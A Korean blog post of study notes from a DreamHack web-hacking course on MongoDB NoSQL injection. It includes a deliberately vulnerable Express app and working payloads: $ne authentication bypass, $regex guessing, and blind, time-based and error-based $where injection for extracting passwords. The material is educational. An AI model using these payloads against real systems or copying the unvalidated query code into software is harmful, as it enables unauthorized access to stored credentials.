Information Security

[DreamHack]-WHA ExploitTech: MongoDB DBMS 본문

INTERLUDE/Web Hacking

[DreamHack]-WHA ExploitTech: MongoDB DBMS

sohexz 2022. 4. 28. 18:38

 

NoSQL 중 MongoDB에서 발생하는 취약점 형태와 이를 공격하는 방법에 대해서 소개

 

MongoDB의 특징

  1. 스키마 (Schema)가 존재하지 않아 각 테이블 (또는 Collection)에 특별한 정의를 하지 않아도 된다.
  2. JSON 형식으로 쿼리문을 작성할 수 있다.
  3. _id 필드가 기본키 (Primary Key) 역할을 한다.
  4. '$' 문자를 이용해 연산자를 사용할 수 있다.

연산자

Comparison

Logical

Element

Evaluation

 

MongoDB Injection

MongoDB에서 주로 발생하는 취약점

이용자가 입력한 값의 타입을 검사하지 않거나 미흡할 때 발생

공격자는 이를 통해 MongoDB에서 제공하는 연산자를 입력하여 데이터베이스 정보를 획득할 수 있음

 

GET 방식 예시

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

POST 방식 예시

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
app.get('/', function(req,res) {
    res.send('hello world');
});
app.post('/post', function(req,res) {
    console.log('data:', req.body.data);
    console.log('type:', typeof req.body.data);
    res.send({"status":"ok"});
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 

MongoDB Injection 취약점 예시

 

MongoDB Injection 취약점 예제 코드

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

“/query” 페이지에서 uid와 upw를 입력받고, 이를 user 콜렉션에서 데이터를 조회할 때 사용

이용자가 입력한 값에 대해 어떠한 검사도 수행하지 않기 때문에 객체 타입의 데이터를 전달할 수 있음

 

연산자를 이용한 공격

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

입력값을 살펴보면, uid와 upw에 “$ne” 연산자를 삽입한 것을 확인할 수 있음

해당 연산자는 “No Equal” 즉, 식과 일치하지 않는 값을 반환

uid가 “a”가 아니고, upw가 “a”가 아닌 값을 조회해 관리자 계정을 획득

 

regex를 이용한 공격 예시

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

쿼리를 살펴보면, $regex와 함께 “^a”를 입력하는 것을 볼 수 있음

정규식에서 “^” 문자는 첫 문자열을 의미하므로 첫 글자가 'a'인 문자열을 조회함

 

 where 연산자 주의 사항

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

 “{$where: “return 1==1”}” 식은 실행할 수 있지만 그 아래 쿼리와 같이 uid에 해당하는 필드 안에서 사용하는 것은 불가능

 

 MongoDB Blind Injection

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

substring 함수를 사용해 upw의 첫 글자를 비교

substring 함수의 인자와 비교 문자를 바꿔가면서 전체 데이터를 알아낼 수 있음

 

MongoDB Time based Injection

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});

위와 같은 코드로 데이터를 조회하는 경우 “guest” 계정의 패스워드를 알아낼 수 있음

 

MongoDB Time based Injection

/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.

 AND 연산자를 사용해 uid가 "guest"이고 upw가 비교하려는 문자와 일치하면 sleep(5000) 코드를 실행

 

MongoDB Error based Injection

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

substring 함수를 사용해 upw의 첫 글자를 비교하고, AND 연산자를 사용해 문법 에러가 발생하는 “asdf”를 삽입

앞선 비교 식이 참일 경우 “asdf” 식이 실행되어 에러가 발생

공격자는 에러 발생 여부를 통해 데이터를 획득 가능